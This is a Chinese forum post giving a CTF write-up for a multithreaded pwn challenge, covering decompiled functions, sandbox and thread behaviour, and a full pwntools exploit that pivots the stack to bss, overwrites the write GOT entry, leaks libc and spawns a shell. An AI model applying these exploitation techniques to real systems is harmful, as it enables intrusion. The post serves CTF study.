首页
社区
课程
招聘
只有菜鸡才能懂菜鸡!带你走进线程pwn!
发表于: 2024-6-12 19:37 2878

只有菜鸡才能懂菜鸡!带你走进线程pwn!

2024-6-12 19:37
2878

前言

第一次参加长城杯初赛,第一次做线程题(pwn_thread),初上手的感觉就是调试困难,各种报错。上网找了一下,没找到说的很详细的,希望这篇文章能够对大家有所帮助!!!

保护

沙箱

可以看到,出了同种绿色的函数之外其他的函数都被禁止了。

查看libc版本

patchelf成对应版本

逆向

main函数
其实就是开了一个子线程用来执行start_routine函数

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF
 
  sub_401256(a1, a2, a3);
  puts("Welcome ,do you know threads?");
  pthread_create(&newthread, 0LL, start_routine, 0LL);
  sub_4014AD();
  return 0LL;
}

start_routine
while循环不断打印字符,并且每次打印字符的时候都会暂停一秒钟。

1
2
3
4
5
6
7
8
void __fastcall __noreturn start_routine(void *a1)
{
  while ( 1 )
  {
    write(1, "This is my thread...\n", 0x16uLL);
    sleep(1u);
  }
}

sub_4014AD()
主线程的函数其实就是一个栈溢出嘛,只能覆盖一个返回地址。

1
2
3
4
5
6
7
ssize_t sub_4014AD()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF
 
  sub_4012BB();##开启沙箱
  return read(0, buf, 0x50uLL);
}

关于线程的知识

相关函数
pthread_create:创造子线程的函数
sleep:让程序暂停的函数,当一个线程执行了sleep 函数后,操作系统会将该线程置为 “等待” 状态,并将 CPU 的控制权交给其他的 “就绪” 状态的线程。这个过程被称为 “线程切换”。我们可以认为当一个线程执行了sleep(time)之后,这个线程就会在time时间里处于等待状态,这个时间段程序就会执行其他线程。
线程与线程之间的关系
并行关系:
线程与线程之间是并行关系:即它们各自独立地执行各自的任务。
主从关系:
当主线程结束的时候子线程也会随之结束,这就是为什么我们回车之后程序就会结束。
pwndbg切换线程

1
2
info thread:查看线程列表
thread 线程序号:切换到指定序号的线程

关于沙箱与线程
就像这个程序一样,由于子程序在开启沙箱之前就创建了,所以不受沙箱影响

漏洞利用思路

往bss区写入rop链并执行
覆盖rbp为bss地址,覆盖返回地址为magic再进行一次输入,此时我们再次输入就是往bss区里面输入了。

1
2
payload = b"A"*0x40 + p64(bss + 0x40) + p64(magic)
io.sendafter("This is my thread...",payload)

修改write的got表为magic然后执行sleep函数切换到子线程
这里的操作是往bss布置的rop链,随后利用栈迁移来执行rop

1
2
3
4
5
6
7
sleep(0.1)
payload = p64(rsi_r15) + p64(elf.got["write"]) + p64(0x0)
payload += p64(elf.plt["read"]) + p64(rdi) + p64(0x1000) + p64(elf.plt["sleep"])
payload = payload.ljust(0x40,b"\x00")
payload += p64(bss - 0x8) + p64(leave_ret)
io.send(payload)
io.send(p64(magic))

泄露libc基址
到了这里之后,当子线程执行write函数就会跳转到magic地址执行输入
(这里为什么只需要0x30个垃圾数据是动调出来的,至于原因我也有些不明白)

1
2
3
4
5
6
7
8
9
10
11
12
io.recv()
payload = b"A"*0x30 + p64(rdi) + p64(elf.got["puts"]) + p64(0x4010F0) + p64(magic) 
 
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0
thread_base_offset = 0x7fdf5d04a000 - 0x7fdf5cedc420
libcbase_offset = 0x7f5dbba23420 - 0x7f5dbb99f000
#input("==============================++>")
#gdb.attach(io,cmd)
#pause()
#pause()
io.send(payload)
puts =  u64(io.recv(6).ljust(8,b"\x00"))

覆盖返回地址执行system("/bin/sh")
由于我们只能刚好覆盖到返回地址,所以正常情况下这个溢出长度是不足以执行system("/bin/sh"),因此我们需要泄露栈地址(子线程上的栈地址与libc的偏移是固定的)然后栈迁移执行system("/bin/sh")

1
2
3
4
5
6
7
8
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0
stack = puts - stack_offset
system = libc.sym["system"] + libcbase2
binsh = next(libc.search(b"/bin/sh")) + libcbase2
payload = p64(rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0x40,b"\x00")
payload += p64(stack - 0x8 - 0x40) + p64(leave_ret)
io.send(payload)

补充
这道题我发现了有两种不同的libc基址,一个是主线程另外一个应该是子线程的

当切换到子线程的时候执行system(/bin/sh)的时候,我发现只有子线程的libc基址才能正确执行函数,因此
子线程执行函数只能用子线程的libc基址

exp

第一次调线程题感觉有点难调(菜),就把调试的代码也留一下吧,方便大家学习。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
io = process("./thread_pwn")
context(log_level = "debug",arch = "amd64",os = "linux")
elf = ELF("./thread_pwn")
libc = ELF("./libc-2.31.so")
 
 
bss = elf.bss() + 0x30 + 0x40 + 0x40
magic = 0X4014BE
rdi = 0x0000000000401593
rsi_r15 = 0x0000000000401591
leave_ret = 0x4014D5
  
print("bss=======================================>",hex(bss))
 
payload = b"A"*0x40 + p64(bss + 0x40) + p64(magic)
 
 
io.sendafter("This is my thread...",payload)
 
 
sleep(0.1)
payload = p64(rsi_r15) + p64(elf.got["write"]) + p64(0x0)
payload += p64(elf.plt["read"]) + p64(rdi) + p64(0x1000) + p64(elf.plt["sleep"])
payload = payload.ljust(0x40,b"\x00")
payload += p64(bss - 0x8) + p64(leave_ret)
 
 
cmd = '''
    b *0x4014D4\n
    c\n
    thread 2\n
     
'''
#gdb.attach(io,cmd)
#pause()
 
 
#libcbase:0x7fdf5d04a000
 
io.send(payload)
sleep(0.1)
 
 
io.send(p64(magic))
 
 
io.recv()
payload = b"A"*0x30 + p64(rdi) + p64(elf.got["puts"]) + p64(0x4010F0) + p64(magic) 
 
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0 #子线程的栈地址偏移
thread_base_offset = 0x7fdf5d04a000 - 0x7fdf5cedc420#子线程libc基址偏移
libcbase_offset = 0x7f5dbba23420 - 0x7f5dbb99f000#主线程libc基址偏移
 
#input("==============================++>")
 
 
gdb.attach(io,cmd)
pause()
 
pause()
io.send(payload)
 
puts =  u64(io.recv(6).ljust(8,b"\x00"))
print("puts==================================>",hex(puts))
stack = puts - stack_offset
libcbase = puts + thread_base_offset
libcbase2 = puts - libcbase_offset
print("======================================>",hex(stack))
print("===================================>",hex(libcbase))
print("==================================>",hex(libcbase2))
system = libc.sym["system"] + libcbase2
binsh = next(libc.search(b"/bin/sh")) + libcbase2
payload = p64(rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0x40,b"\x00")
payload += p64(stack - 0x8 - 0x40) + p64(leave_ret)
sleep(0.1)
print("system=========================================>",hex(system))
 
#pause()
io.send(payload)
 
 
io.interactive()

参考博客
(https://hanqi-blogs.cn/2023/DASCTF-2023-June-Binary-WP/)


[课程]FART 脱壳王!加量不加价!FART作者讲授!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 4239
活跃值: (6411)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
可以吧。 虽然没看懂,不明觉厉。 
2024-6-13 02:41
1
游客
登录 | 注册 方可回帖
返回
//